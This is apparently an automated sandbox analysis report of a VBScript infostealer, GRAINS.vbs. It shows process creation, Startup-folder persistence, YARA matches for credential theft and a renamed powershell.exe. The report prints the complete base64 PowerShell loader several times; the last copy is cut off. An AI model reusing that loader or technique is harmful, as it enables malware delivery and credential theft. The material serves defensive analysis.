Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA0040	12_2_09AA0040
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AAD220	12_2_09AAD220
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA0024	12_2_09AA0024
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AAD211	12_2_09AAD211
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AABDA0	12_2_09AABDA0
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA3DA0	12_2_09AA3DA0
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AABD9B	12_2_09AABD9B
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AABD91	12_2_09AABD91
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AABD19	12_2_09AABD19
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA5428	12_2_09AA5428
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA5419	12_2_09AA5419
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA66E8	12_2_09AA66E8
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA66F8	12_2_09AA66F8
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B4114B	12_2_09B4114B
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41334	12_2_09B41334
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41CA2	12_2_09B41CA2
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B42445	12_2_09B42445
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B427BC	12_2_09B427BC
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B42F70	12_2_09B42F70
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B411C9	12_2_09B411C9
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B4214C	12_2_09B4214C
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B40016	12_2_09B40016
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41BEA	12_2_09B41BEA
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41284	12_2_09B41284
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41A2D	12_2_09B41A2D
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B415DF	12_2_09B415DF
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B425DB	12_2_09B425DB
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B4152A	12_2_09B4152A
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41D5E	12_2_09B41D5E
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B4270E	12_2_09B4270E
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B41740	12_2_09B41740
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B4168C	12_2_09B4168C
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B7852E	12_2_09B7852E
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B7C680	12_2_09B7C680
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B7C9A7	12_2_09B7C9A7
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B7D888	12_2_09B7D888
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B70006	12_2_09B70006
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B70040	12_2_09B70040
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B7855E	12_2_09B7855E
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B794E8	12_2_09B794E8
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B794DA	12_2_09B794DA
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09C2336A	12_2_09C2336A
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09C23370	12_2_09C23370
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09C70040	12_2_09C70040
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09C70019	12_2_09C70019
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09EEED90	12_2_09EEED90
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09EEE140	12_2_09EEE140
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09ED0040	12_2_09ED0040
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09ED0021	12_2_09ED0021
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01364AC0	14_2_01364AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0136CE88	14_2_0136CE88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01363EA8	14_2_01363EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_013641F0	14_2_013641F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0136F6D8	14_2_0136F6D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_067132C8	14_2_067132C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06710040	14_2_06710040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_067188A8	14_2_067188A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0671E968	14_2_0671E968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06715998	14_2_06715998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06719010	14_2_06719010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0671ADC8	14_2_0671ADC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06CF33D0	14_2_06CF33D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0671001F	14_2_0671001F

Source: GRAINS.vbs

Initial sample: Strings found which are bigger than 50

Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000050DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename46da3e76-ea11-4ef3-9ed6-348209ad609f.exe4 vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename46da3e76-ea11-4ef3-9ed6-348209ad609f.exe4 vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009311000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGRAINS.exe. vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009311000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUtlocv.dll" vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1571178219.000000000A4A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1513408127.00000000030B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1548388011.0000000008820000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameGRAINS.exe. vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUtlocv.dll" vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1550540195.0000000008B80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameUtlocv.dll" vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000000.1471125511.0000000000DF4000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs GRAINS.vbs
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000054A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GRAINS.vbs
Source: GRAINS.vbs.exe.2.dr	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs GRAINS.vbs

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2142
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2147
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2142	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2147	Jump to behavior

Source: 4.2.GRAINS.vbs.exe.6350180.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.Xml.vbs.exe.97dddc8.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.Xml.vbs.exe.97dddc8.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.GRAINS.vbs.exe.6350180.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, BoXsfZ1YyrahlENUJle.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, BoXsfZ1YyrahlENUJle.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, BoXsfZ1YyrahlENUJle.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, BoXsfZ1YyrahlENUJle.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.bank.troj.spyw.expl.evad.winVBS@18/9@2/2

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\GRAINS.vbs.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4884:120:WilError_03

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmzk02se.g0z.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

File read: C:\Users\user\Desktop\GRAINS.vbs

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs"
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\GRAINS.vbs.exe" /Y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Xml.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Xml.vbs.exe" /Y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\GRAINS.vbs.exe "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoA